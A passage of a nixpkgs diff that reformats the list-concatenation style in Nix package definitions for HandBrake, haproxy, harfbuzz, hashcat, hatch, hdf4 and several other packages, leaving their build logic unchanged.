-        patch -p1 < ${src}/contrib/x265/A01-Do-not-set-thread-priority-on-Windows.patch
-        # patch -p1 < ${src}/contrib/x265/A02-Apple-Silicon-tuning.patch
-        patch -p1 < ${src}/contrib/x265/A03-fix-crash-when-SEI-length-is-variable.patch
-        patch -p1 < ${src}/contrib/x265/A04-implement-ambient-viewing-environment-sei.patch
-        # patch -p1 < ${src}/contrib/x265/A05-Fix-Dolby-Vision-RPU-memory-management.patch
-        # patch -p1 < ${src}/contrib/x265/A06-Simplify-macOS-cross-compilation.patch
-        # patch -p1 < ${src}/contrib/x265/A07-add-new-matrix-coefficients-from-H.273-v3.patch
-        popd
-      '';
+    postPatch = (old.postPatch or "") + ''
+      pushd ..
+      patch -p1 < ${src}/contrib/x265/A01-Do-not-set-thread-priority-on-Windows.patch
+      # patch -p1 < ${src}/contrib/x265/A02-Apple-Silicon-tuning.patch
+      patch -p1 < ${src}/contrib/x265/A03-fix-crash-when-SEI-length-is-variable.patch
+      patch -p1 < ${src}/contrib/x265/A04-implement-ambient-viewing-environment-sei.patch
+      # patch -p1 < ${src}/contrib/x265/A05-Fix-Dolby-Vision-RPU-memory-management.patch
+      # patch -p1 < ${src}/contrib/x265/A06-Simplify-macOS-cross-compilation.patch
+      # patch -p1 < ${src}/contrib/x265/A07-add-new-matrix-coefficients-from-H.273-v3.patch
+      popd
+    '';
   });
 
   versionFile = writeText "version.txt" ''
@@ -183,123 +181,119 @@ let
     pname = "handbrake";
     inherit version src;
 
-    postPatch =
-      ''
-        install -Dm444 ${versionFile} ${versionFile.name}
+    postPatch = ''
+      install -Dm444 ${versionFile} ${versionFile.name}
 
-        patchShebangs scripts
-        patchShebangs gtk/data/
+      patchShebangs scripts
+      patchShebangs gtk/data/
 
-        substituteInPlace libhb/hb.c \
-          --replace-fail 'return hb_version;' 'return "${version}";'
+      substituteInPlace libhb/hb.c \
+        --replace-fail 'return hb_version;' 'return "${version}";'
 
-        # Force using nixpkgs dependencies
-        sed -i '/MODULES += contrib/d' make/include/main.defs
-        sed -e 's/^[[:space:]]*\(meson\|ninja\|nasm\)[[:space:]]*= ToolProbe.*$//g' \
-            -e '/    ## Additional library and tool checks/,/    ## MinGW specific library and tool checks/d' \
-            -i make/configure.py
-      ''
-      + optionalString stdenv.hostPlatform.isDarwin ''
-        # Prevent the configure script from failing if xcodebuild isn't available,
-        # which it isn't in the Nix context. (The actual build goes fine without
-        # xcodebuild.)
-        sed -e '/xcodebuild = ToolProbe/s/abort=.\+)/abort=False)/' -i make/configure.py
-      ''
-      + optionalString useGtk ''
-        substituteInPlace gtk/module.rules \
-          --replace-fail '$(MESON.exe)' 'meson' \
-          --replace-fail '$(NINJA.exe)' 'ninja' \
-        # Force using nixpkgs dependencies
-        substituteInPlace gtk/meson.build \
-          --replace-fail \
-            "hb_incdirs = include_directories(hb_dir / 'libhb', hb_dir / 'contrib/include')" \
-            "hb_incdirs = include_directories(hb_dir / 'libhb')"
-        substituteInPlace gtk/ghb.spec \
-          --replace-fail "gtk-update-icon-cache" "gtk4-update-icon-cache"
-        substituteInPlace gtk/data/post_install.py \
-          --replace-fail "gtk-update-icon-cache" "gtk4-update-icon-cache"
-      '';
+      # Force using nixpkgs dependencies
+      sed -i '/MODULES += contrib/d' make/include/main.defs
+      sed -e 's/^[[:space:]]*\(meson\|ninja\|nasm\)[[:space:]]*= ToolProbe.*$//g' \
+          -e '/    ## Additional library and tool checks/,/    ## MinGW specific library and tool checks/d' \
+          -i make/configure.py
+    ''
+    + optionalString stdenv.hostPlatform.isDarwin ''
+      # Prevent the configure script from failing if xcodebuild isn't available,
+      # which it isn't in the Nix context. (The actual build goes fine without
+      # xcodebuild.)
+      sed -e '/xcodebuild = ToolProbe/s/abort=.\+)/abort=False)/' -i make/configure.py
+    ''
+    + optionalString useGtk ''
+      substituteInPlace gtk/module.rules \
+        --replace-fail '$(MESON.exe)' 'meson' \
+        --replace-fail '$(NINJA.exe)' 'ninja' \
+      # Force using nixpkgs dependencies
+      substituteInPlace gtk/meson.build \
+        --replace-fail \
+          "hb_incdirs = include_directories(hb_dir / 'libhb', hb_dir / 'contrib/include')" \
+          "hb_incdirs = include_directories(hb_dir / 'libhb')"
+      substituteInPlace gtk/ghb.spec \
+        --replace-fail "gtk-update-icon-cache" "gtk4-update-icon-cache"
+      substituteInPlace gtk/data/post_install.py \
+        --replace-fail "gtk-update-icon-cache" "gtk4-update-icon-cache"
+    '';
 
-    nativeBuildInputs =
-      [
-        autoconf
-        automake
-        libtool
-        m4
-        pkg-config
-        python3
-      ]
-      ++ optionals useGtk [
-        appstream
-        desktop-file-utils
-        intltool
-        meson
-        ninja
-        wrapGAppsHook4
-      ];
+    nativeBuildInputs = [
+      autoconf
+      automake
+      libtool
+      m4
+      pkg-config
+      python3
+    ]
+    ++ optionals useGtk [
+      appstream
+      desktop-file-utils
+      intltool
+      meson
+      ninja
+      wrapGAppsHook4
+    ];
 
-    buildInputs =
-      [
-        a52dec
-        dav1d
-        ffmpeg-hb
-        fontconfig
-        freetype
-        fribidi
-        harfbuzz
-        jansson
-        lame
-        libass
-        libbluray
-        libdvdcss
-        libdvdnav
-        libdvdread
-        libiconv
-        libjpeg_turbo
-        libogg
-        libopus
-        libsamplerate
-        libtheora
-        libvorbis
-        libvpx
-        libxml2
-        speex
-        svt-av1
-        x264
-        x265-hb
-        xz
-        zimg
-      ]
-      ++ optional (!stdenv.hostPlatform.isDarwin) numactl
-      ++ optionals useGtk [
-        dbus-glib
-        glib
-        gst_all_1.gst-libav
-        gst_all_1.gst-plugins-bad
-        gst_all_1.gst-plugins-base
-        gst_all_1.gst-plugins-good
-        gst_all_1.gstreamer
-        gtk4
-        hicolor-icon-theme
-        libappindicator-gtk3
-        libgudev
-        libnotify
-        udev
-      ]
-      ++ optional useFdk fdk_aac
-      # NOTE: 2018-12-27: Handbrake supports nv-codec-headers for Linux only,
-      # look at ./make/configure.py search "enable_nvenc"
-      ++ optional stdenv.hostPlatform.isLinux nv-codec-headers;
+    buildInputs = [
+      a52dec
+      dav1d
+      ffmpeg-hb
+      fontconfig
+      freetype
+      fribidi
+      harfbuzz
+      jansson
+      lame
+      libass
+      libbluray
+      libdvdcss
+      libdvdnav
+      libdvdread
+      libiconv
+      libjpeg_turbo
+      libogg
+      libopus
+      libsamplerate
+      libtheora
+      libvorbis
+      libvpx
+      libxml2
+      speex
+      svt-av1
+      x264
+      x265-hb
+      xz
+      zimg
+    ]
+    ++ optional (!stdenv.hostPlatform.isDarwin) numactl
+    ++ optionals useGtk [
+      dbus-glib
+      glib
+      gst_all_1.gst-libav
+      gst_all_1.gst-plugins-bad
+      gst_all_1.gst-plugins-base
+      gst_all_1.gst-plugins-good
+      gst_all_1.gstreamer
+      gtk4
+      hicolor-icon-theme
+      libappindicator-gtk3
+      libgudev
+      libnotify
+      udev
+    ]
+    ++ optional useFdk fdk_aac
+    # NOTE: 2018-12-27: Handbrake supports nv-codec-headers for Linux only,
+    # look at ./make/configure.py search "enable_nvenc"
+    ++ optional stdenv.hostPlatform.isLinux nv-codec-headers;
 
-    configureFlags =
-      [
-        "--disable-df-fetch"
-        "--disable-df-verify"
-      ]
-      ++ optional (!useGtk) "--disable-gtk"
-      ++ optional useFdk "--enable-fdk-aac"
-      ++ optional stdenv.hostPlatform.isDarwin "--disable-xcode"
-      ++ optional stdenv.hostPlatform.isx86 "--harden";
+    configureFlags = [
+      "--disable-df-fetch"
+      "--disable-df-verify"
+    ]
+    ++ optional (!useGtk) "--disable-gtk"
+    ++ optional useFdk "--enable-fdk-aac"
+    ++ optional stdenv.hostPlatform.isDarwin "--disable-xcode"
+    ++ optional stdenv.hostPlatform.isx86 "--harden";
 
     # NOTE: 2018-12-27: Check NixOS HandBrake test if changing
     NIX_LDFLAGS = [ "-lx265" ];
diff --git a/pkgs/by-name/ha/haproxy/package.nix b/pkgs/by-name/ha/haproxy/package.nix
index 25c1962cc517..445ecc7eb5e8 100644
--- a/pkgs/by-name/ha/haproxy/package.nix
+++ b/pkgs/by-name/ha/haproxy/package.nix
@@ -42,14 +42,13 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-o5UmRO+TmzYmDZHYGjNWNqqbRFcrTLi2ABJy+IVFxmY=";
   };
 
-  buildInputs =
-    [
-      sslPkg
-      zlib
-      libxcrypt
-    ]
-    ++ lib.optional useLua lua5_4
-    ++ lib.optional usePcre pcre2;
+  buildInputs = [
+    sslPkg
+    zlib
+    libxcrypt
+  ]
+  ++ lib.optional useLua lua5_4
+  ++ lib.optional usePcre pcre2;
 
   # TODO: make it work on bsd as well
   makeFlags = [
@@ -69,38 +68,37 @@ stdenv.mkDerivation (finalAttrs: {
     )
   ];
 
-  buildFlags =
-    [
-      "USE_ZLIB=yes"
-      "USE_OPENSSL=yes"
-      "SSL_INC=${lib.getDev sslPkg}/include"
-      "SSL_LIB=${lib.getDev sslPkg}/lib"
-      "USE_QUIC=yes"
-    ]
-    ++ lib.optionals (sslLibrary == "openssl") [
-      "USE_QUIC_OPENSSL_COMPAT=yes"
-    ]
-    ++ lib.optionals (sslLibrary == "wolfssl") [
-      "USE_OPENSSL_WOLFSSL=yes"
-    ]
-    ++ lib.optionals usePcre [
-      "USE_PCRE2=yes"
-      "USE_PCRE2_JIT=yes"
-    ]
-    ++ lib.optionals useLua [
-      "USE_LUA=yes"
-      "LUA_LIB_NAME=lua"
-      "LUA_LIB=${lua5_4}/lib"
-      "LUA_INC=${lua5_4}/include"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "USE_SYSTEMD=yes"
-      "USE_GETADDRINFO=1"
-    ]
-    ++ lib.optionals withPrometheusExporter [
-      "USE_PROMEX=yes"
-    ]
-    ++ [ "CC=${stdenv.cc.targetPrefix}cc" ];
+  buildFlags = [
+    "USE_ZLIB=yes"
+    "USE_OPENSSL=yes"
+    "SSL_INC=${lib.getDev sslPkg}/include"
+    "SSL_LIB=${lib.getDev sslPkg}/lib"
+    "USE_QUIC=yes"
+  ]
+  ++ lib.optionals (sslLibrary == "openssl") [
+    "USE_QUIC_OPENSSL_COMPAT=yes"
+  ]
+  ++ lib.optionals (sslLibrary == "wolfssl") [
+    "USE_OPENSSL_WOLFSSL=yes"
+  ]
+  ++ lib.optionals usePcre [
+    "USE_PCRE2=yes"
+    "USE_PCRE2_JIT=yes"
+  ]
+  ++ lib.optionals useLua [
+    "USE_LUA=yes"
+    "LUA_LIB_NAME=lua"
+    "LUA_LIB=${lua5_4}/lib"
+    "LUA_INC=${lua5_4}/include"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "USE_SYSTEMD=yes"
+    "USE_GETADDRINFO=1"
+  ]
+  ++ lib.optionals withPrometheusExporter [
+    "USE_PROMEX=yes"
+  ]
+  ++ [ "CC=${stdenv.cc.targetPrefix}cc" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ha/hare/package.nix b/pkgs/by-name/ha/hare/package.nix
index b79cd7b8e298..8f9b1bc89fbe 100644
--- a/pkgs/by-name/ha/hare/package.nix
+++ b/pkgs/by-name/ha/hare/package.nix
@@ -133,7 +133,8 @@ stdenv.mkDerivation (finalAttrs: {
     # Strip the variable of an empty $(SRCDIR)/hare/third-party, since nix does
     # not follow the FHS.
     "HAREPATH=$(SRCDIR)/hare/stdlib"
-  ] ++ lib.optionals enableCrossCompilation crossCompMakeFlags;
+  ]
+  ++ lib.optionals enableCrossCompilation crossCompMakeFlags;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ha/harfbuzz/package.nix b/pkgs/by-name/ha/harfbuzz/package.nix
index 2a510fbaf527..736894e6bee6 100644
--- a/pkgs/by-name/ha/harfbuzz/package.nix
+++ b/pkgs/by-name/ha/harfbuzz/package.nix
@@ -41,15 +41,14 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-Yg40aPrsLqhoXTLEalhGm4UO9jBAs1Zc3gWVmCW0gic=";
   };
 
-  postPatch =
-    ''
-      patchShebangs src/*.py test
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # ApplicationServices.framework headers have cast-align warnings.
-      substituteInPlace src/hb.hh \
-        --replace '#pragma GCC diagnostic error   "-Wcast-align"' ""
-    '';
+  postPatch = ''
+    patchShebangs src/*.py test
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # ApplicationServices.framework headers have cast-align warnings.
+    substituteInPlace src/hb.hh \
+      --replace '#pragma GCC diagnostic error   "-Wcast-align"' ""
+  '';
 
   outputs = [
     "out"
@@ -87,7 +86,8 @@ stdenv.mkDerivation (finalAttrs: {
     gtk-doc
     docbook-xsl-nons
     docbook_xml_dtd_43
-  ] ++ lib.optional withIntrospection gobject-introspection;
+  ]
+  ++ lib.optional withIntrospection gobject-introspection;
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/ha/harlequin/package.nix b/pkgs/by-name/ha/harlequin/package.nix
index 6005946cc340..7b6546bc9460 100644
--- a/pkgs/by-name/ha/harlequin/package.nix
+++ b/pkgs/by-name/ha/harlequin/package.nix
@@ -73,16 +73,15 @@ python3Packages.buildPythonApplication rec {
     versionCheckHook
   ];
 
-  disabledTests =
-    [
-      # Tests require network access
-      "test_connect_extensions"
-      "test_connect_prql"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [
-      # Test incorrectly tries to load a dylib/so compiled for x86_64
-      "test_load_extension"
-    ];
+  disabledTests = [
+    # Tests require network access
+    "test_connect_extensions"
+    "test_connect_prql"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [
+    # Test incorrectly tries to load a dylib/so compiled for x86_64
+    "test_load_extension"
+  ];
 
   disabledTestPaths = [
     # Tests requires more setup
diff --git a/pkgs/by-name/ha/harvid/package.nix b/pkgs/by-name/ha/harvid/package.nix
index efbe45d667c0..345f23987abc 100644
--- a/pkgs/by-name/ha/harvid/package.nix
+++ b/pkgs/by-name/ha/harvid/package.nix
@@ -23,12 +23,13 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-p0W+rKHH/iuGOcRjl6b4s6jQYkm7bqWCz849SDI/7fQ=";
   };
 
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      which
-      unixtools.xxd
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    which
+    unixtools.xxd
+  ];
 
   buildInputs = [
     ffmpeg
diff --git a/pkgs/by-name/ha/hash-slinger/package.nix b/pkgs/by-name/ha/hash-slinger/package.nix
index 1bf69ea7ecac..2cd281fc1565 100644
--- a/pkgs/by-name/ha/hash-slinger/package.nix
+++ b/pkgs/by-name/ha/hash-slinger/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation rec {
   propagatedBuildInputs = [
     unbound
     libreswan
-  ] ++ pythonPath;
+  ]
+  ++ pythonPath;
 
   propagatedUserEnvPkgs = [
     unbound
diff --git a/pkgs/by-name/ha/hashcat/package.nix b/pkgs/by-name/ha/hashcat/package.nix
index 442b46b4d974..24b3b76bb837 100644
--- a/pkgs/by-name/ha/hashcat/package.nix
+++ b/pkgs/by-name/ha/hashcat/package.nix
@@ -34,37 +34,34 @@ stdenv.mkDerivation rec {
       --replace '-i ""' '-i'
   '';
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-    ]
-    ++ lib.optionals cudaSupport [
-      addDriverRunpath
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optionals cudaSupport [
+    addDriverRunpath
+  ];
 
-  buildInputs =
-    [
-      minizip
-      opencl-headers
-      xxHash
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    minizip
+    opencl-headers
+    xxHash
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
-  makeFlags =
-    [
-      "PREFIX=${placeholder "out"}"
-      "COMPTIME=1337"
-      "VERSION_TAG=${version}"
-      "USE_SYSTEM_OPENCL=1"
-      "USE_SYSTEM_XXHASH=1"
-      "USE_SYSTEM_ZLIB=1"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform == stdenv.buildPlatform) [
-      "IS_APPLE_SILICON='${if stdenv.hostPlatform.isAarch64 then "1" else "0"}'"
-    ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+    "COMPTIME=1337"
+    "VERSION_TAG=${version}"
+    "USE_SYSTEM_OPENCL=1"
+    "USE_SYSTEM_XXHASH=1"
+    "USE_SYSTEM_ZLIB=1"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform == stdenv.buildPlatform) [
+    "IS_APPLE_SILICON='${if stdenv.hostPlatform.isAarch64 then "1" else "0"}'"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ha/hatch/package.nix b/pkgs/by-name/ha/hatch/package.nix
index 2a26b7173f88..173a035eeb00 100644
--- a/pkgs/by-name/ha/hatch/package.nix
+++ b/pkgs/by-name/ha/hatch/package.nix
@@ -72,96 +72,93 @@ python3Packages.buildPythonApplication rec {
 
   versionCheckProgramArg = "--version";
 
-  pytestFlagsArray =
-    [
-      # AssertionError on the version metadata
-      # https://github.com/pypa/hatch/issues/1877
-      "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV21::test_all"
-      "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV21::test_license_expression"
-      "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV22::test_all"
-      "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV22::test_license_expression"
-      "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV23::test_all"
-      "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV23::test_license_expression"
-      "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV23::test_license_files"
-      "--deselect=tests/backend/metadata/test_spec.py::TestProjectMetadataFromCoreMetadata::test_license_files"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Dependency/versioning errors in the CLI tests, only seem to show up on Darwin
-      # https://github.com/pypa/hatch/issues/1893
-      "--deselect=tests/cli/env/test_create.py::test_sync_dependencies_pip"
-      "--deselect=tests/cli/env/test_create.py::test_sync_dependencies_uv"
-      "--deselect=tests/cli/project/test_metadata.py::TestBuildDependenciesMissing::test_no_compatibility_check_if_exists"
-      "--deselect=tests/cli/run/test_run.py::TestScriptRunner::test_dependencies"
-      "--deselect=tests/cli/run/test_run.py::TestScriptRunner::test_dependencies_from_tool_config"
-      "--deselect=tests/cli/run/test_run.py::test_dependency_hash_checking"
-      "--deselect=tests/cli/run/test_run.py::test_sync_dependencies"
-      "--deselect=tests/cli/run/test_run.py::test_sync_project_dependencies"
-      "--deselect=tests/cli/run/test_run.py::test_sync_project_features"
-      "--deselect=tests/cli/version/test_version.py::test_no_compatibility_check_if_exists"
-    ];
+  pytestFlagsArray = [
+    # AssertionError on the version metadata
+    # https://github.com/pypa/hatch/issues/1877
+    "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV21::test_all"
+    "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV21::test_license_expression"
+    "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV22::test_all"
+    "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV22::test_license_expression"
+    "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV23::test_all"
+    "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV23::test_license_expression"
+    "--deselect=tests/backend/metadata/test_spec.py::TestCoreMetadataV23::test_license_files"
+    "--deselect=tests/backend/metadata/test_spec.py::TestProjectMetadataFromCoreMetadata::test_license_files"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Dependency/versioning errors in the CLI tests, only seem to show up on Darwin
+    # https://github.com/pypa/hatch/issues/1893
+    "--deselect=tests/cli/env/test_create.py::test_sync_dependencies_pip"
+    "--deselect=tests/cli/env/test_create.py::test_sync_dependencies_uv"
+    "--deselect=tests/cli/project/test_metadata.py::TestBuildDependenciesMissing::test_no_compatibility_check_if_exists"
+    "--deselect=tests/cli/run/test_run.py::TestScriptRunner::test_dependencies"
+    "--deselect=tests/cli/run/test_run.py::TestScriptRunner::test_dependencies_from_tool_config"
+    "--deselect=tests/cli/run/test_run.py::test_dependency_hash_checking"
+    "--deselect=tests/cli/run/test_run.py::test_sync_dependencies"
+    "--deselect=tests/cli/run/test_run.py::test_sync_project_dependencies"
+    "--deselect=tests/cli/run/test_run.py::test_sync_project_features"
+    "--deselect=tests/cli/version/test_version.py::test_no_compatibility_check_if_exists"
+  ];
 
-  disabledTests =
-    [
-      # AssertionError: assert (1980, 1, 2, 0, 0, 0) == (2020, 2, 2, 0, 0, 0)
-      "test_default"
-      "test_editable_default"
-      "test_editable_default_extra_dependencies"
-      "test_editable_default_force_include"
-      "test_editable_default_force_include_option"
-      "test_editable_default_symlink"
-      "test_editable_exact"
-      "test_editable_exact_extra_dependencies"
-      "test_editable_exact_force_include"
-      "test_editable_exact_force_include_build_data_precedence"
-      "test_editable_exact_force_include_option"
-      "test_editable_pth"
-      "test_explicit_path"
+  disabledTests = [
+    # AssertionError: assert (1980, 1, 2, 0, 0, 0) == (2020, 2, 2, 0, 0, 0)
+    "test_default"
+    "test_editable_default"
+    "test_editable_default_extra_dependencies"
+    "test_editable_default_force_include"
+    "test_editable_default_force_include_option"
+    "test_editable_default_symlink"
+    "test_editable_exact"
+    "test_editable_exact_extra_dependencies"
+    "test_editable_exact_force_include"
+    "test_editable_exact_force_include_build_data_precedence"
+    "test_editable_exact_force_include_option"
+    "test_editable_pth"
+    "test_explicit_path"
 
-      # Loosen hatchling runtime version dependency
-      "test_core"
-      # New failing
-      "test_guess_variant"
-      "test_open"
-      "test_no_open"
-      "test_uv_env"
-      "test_pyenv"
-      "test_pypirc"
-      # Relies on FHS
-      # Could not read ELF interpreter from any of the following paths: /bin/sh, /usr/bin/env, /bin/dash, /bin/ls
-      "test_new_selected_python"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # This test assumes it is running on macOS with a system shell on the PATH.
-      # It is not possible to run it in a nix build using a /nix/store shell.
-      # See https://github.com/pypa/hatch/pull/709 for the relevant code.
-      "test_populate_default_popen_kwargs_executable"
+    # Loosen hatchling runtime version dependency
+    "test_core"
+    # New failing
+    "test_guess_variant"
+    "test_open"
+    "test_no_open"
+    "test_uv_env"
+    "test_pyenv"
+    "test_pypirc"
+    # Relies on FHS
+    # Could not read ELF interpreter from any of the following paths: /bin/sh, /usr/bin/env, /bin/dash, /bin/ls
+    "test_new_selected_python"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # This test assumes it is running on macOS with a system shell on the PATH.
+    # It is not possible to run it in a nix build using a /nix/store shell.
+    # See https://github.com/pypa/hatch/pull/709 for the relevant code.
+    "test_populate_default_popen_kwargs_executable"
 
-      # Those tests fail because the final wheel is named '...2-macosx_11_0_arm64.whl' instead of
-      # '...2-macosx_14_0_arm64.whl'
-      "test_macos_archflags"
-      "test_macos_max_compat"
+    # Those tests fail because the final wheel is named '...2-macosx_11_0_arm64.whl' instead of
+    # '...2-macosx_14_0_arm64.whl'
+    "test_macos_archflags"
+    "test_macos_max_compat"
 
-      # https://github.com/pypa/hatch/issues/1942
-      "test_features"
-      "test_sync_dynamic_dependencies"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "test_resolve" ];
+    # https://github.com/pypa/hatch/issues/1942
+    "test_features"
+    "test_sync_dynamic_dependencies"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "test_resolve" ];
 
-  disabledTestPaths =
-    [
-      # ModuleNotFoundError: No module named 'hatchling.licenses.parse'
-      # https://github.com/pypa/hatch/issues/1850
-      "tests/backend/licenses/test_parse.py"
-      "tests/backend/licenses/test_supported.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # AssertionError: assert [call('test h...2p32/bin/sh')] == [call('test h..., shell=True)]
-      # At index 0 diff:
-      #    call('test hatch-test.py3.10', shell=True, executable='/nix/store/b34ianga4diikh0kymkpqwmvba0mmzf7-bash-5.2p32/bin/sh')
-      # != call('test hatch-test.py3.10', shell=True)
-      "tests/cli/fmt/test_fmt.py"
-      "tests/cli/test/test_test.py"
-    ];
+  disabledTestPaths = [
+    # ModuleNotFoundError: No module named 'hatchling.licenses.parse'
+    # https://github.com/pypa/hatch/issues/1850
+    "tests/backend/licenses/test_parse.py"
+    "tests/backend/licenses/test_supported.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # AssertionError: assert [call('test h...2p32/bin/sh')] == [call('test h..., shell=True)]
+    # At index 0 diff:
+    #    call('test hatch-test.py3.10', shell=True, executable='/nix/store/b34ianga4diikh0kymkpqwmvba0mmzf7-bash-5.2p32/bin/sh')
+    # != call('test hatch-test.py3.10', shell=True)
+    "tests/cli/fmt/test_fmt.py"
+    "tests/cli/test/test_test.py"
+  ];
 
   passthru = {
     updateScript = nix-update-script {
diff --git a/pkgs/by-name/hd/hdf4/package.nix b/pkgs/by-name/hd/hdf4/package.nix
index 3e28f92cdd1d..5f369d2be486 100644
--- a/pkgs/by-name/hd/hdf4/package.nix
+++ b/pkgs/by-name/hd/hdf4/package.nix
@@ -31,45 +31,44 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     cmake
     ninja
-  ] ++ lib.optional fortranSupport gfortran;
+  ]
+  ++ lib.optional fortranSupport gfortran;
 
-  buildInputs =
-    [
-      libjpeg
-      zlib
-    ]
-    ++ lib.optional javaSupport jdk
-    ++ lib.optional szipSupport szip
-    ++ lib.optional uselibtirpc libtirpc;
+  buildInputs = [
+    libjpeg
+    zlib
+  ]
+  ++ lib.optional javaSupport jdk
+  ++ lib.optional szipSupport szip
+  ++ lib.optional uselibtirpc libtirpc;
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" true)
-      (lib.cmakeBool "HDF4_BUILD_TOOLS" true)
-      (lib.cmakeBool "HDF4_BUILD_UTILS" true)
-      (lib.cmakeBool "HDF4_BUILD_WITH_INSTALL_NAME" true)
-      (lib.cmakeBool "HDF4_ENABLE_JPEG_LIB_SUPPORT" true)
-      (lib.cmakeBool "HDF4_ENABLE_Z_LIB_SUPPORT" true)
-      (lib.cmakeBool "HDF4_ENABLE_NETCDF" netcdfSupport)
-      (lib.cmakeBool "HDF4_BUILD_FORTRAN" fortranSupport)
-      (lib.cmakeBool "HDF4_ENABLE_SZIP_SUPPORT" szipSupport)
-      (lib.cmakeBool "HDF4_ENABLE_SZIP_ENCODING" szipSupport)
-      (lib.cmakeBool "HDF4_BUILD_JAVA" javaSupport)
-      (lib.cmakeBool "BUILD_TESTING" finalAttrs.finalPackage.doCheck)
-    ]
-    ++ lib.optionals javaSupport [
-      (lib.cmakeFeature "JAVA_HOME" "${jdk}")
-    ]
-    ++ lib.optionals fortranSupport [
-      (lib.cmakeFeature "CMAKE_Fortran_FLAGS" "-fallow-argument-mismatch")
-    ]
-    # using try_run would set these, but that requires a cross-compiling emulator to be available
-    # instead, we mark them as if the try_run calls returned a non-zero exit code
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      (lib.cmakeFeature "TEST_LFS_WORKS_RUN" "1")
-      (lib.cmakeFeature "H4_PRINTF_LL_TEST_RUN" "1")
-      (lib.cmakeFeature "H4_PRINTF_LL_TEST_RUN__TRYRUN_OUTPUT" "")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" true)
+    (lib.cmakeBool "HDF4_BUILD_TOOLS" true)
+    (lib.cmakeBool "HDF4_BUILD_UTILS" true)
+    (lib.cmakeBool "HDF4_BUILD_WITH_INSTALL_NAME" true)
+    (lib.cmakeBool "HDF4_ENABLE_JPEG_LIB_SUPPORT" true)
+    (lib.cmakeBool "HDF4_ENABLE_Z_LIB_SUPPORT" true)
+    (lib.cmakeBool "HDF4_ENABLE_NETCDF" netcdfSupport)
+    (lib.cmakeBool "HDF4_BUILD_FORTRAN" fortranSupport)
+    (lib.cmakeBool "HDF4_ENABLE_SZIP_SUPPORT" szipSupport)
+    (lib.cmakeBool "HDF4_ENABLE_SZIP_ENCODING" szipSupport)
+    (lib.cmakeBool "HDF4_BUILD_JAVA" javaSupport)
+    (lib.cmakeBool "BUILD_TESTING" finalAttrs.finalPackage.doCheck)
+  ]
+  ++ lib.optionals javaSupport [
+    (lib.cmakeFeature "JAVA_HOME" "${jdk}")
+  ]
+  ++ lib.optionals fortranSupport [
+    (lib.cmakeFeature "CMAKE_Fortran_FLAGS" "-fallow-argument-mismatch")
+  ]
+  # using try_run would set these, but that requires a cross-compiling emulator to be available
+  # instead, we mark them as if the try_run calls returned a non-zero exit code
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    (lib.cmakeFeature "TEST_LFS_WORKS_RUN" "1")
+    (lib.cmakeFeature "H4_PRINTF_LL_TEST_RUN" "1")
+    (lib.cmakeFeature "H4_PRINTF_LL_TEST_RUN__TRYRUN_OUTPUT" "")
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/hd/hdfview/package.nix b/pkgs/by-name/hd/hdfview/package.nix
index f3d9049485fe..4344d85efa09 100644
--- a/pkgs/by-name/hd/hdfview/package.nix
+++ b/pkgs/by-name/hd/hdfview/package.nix
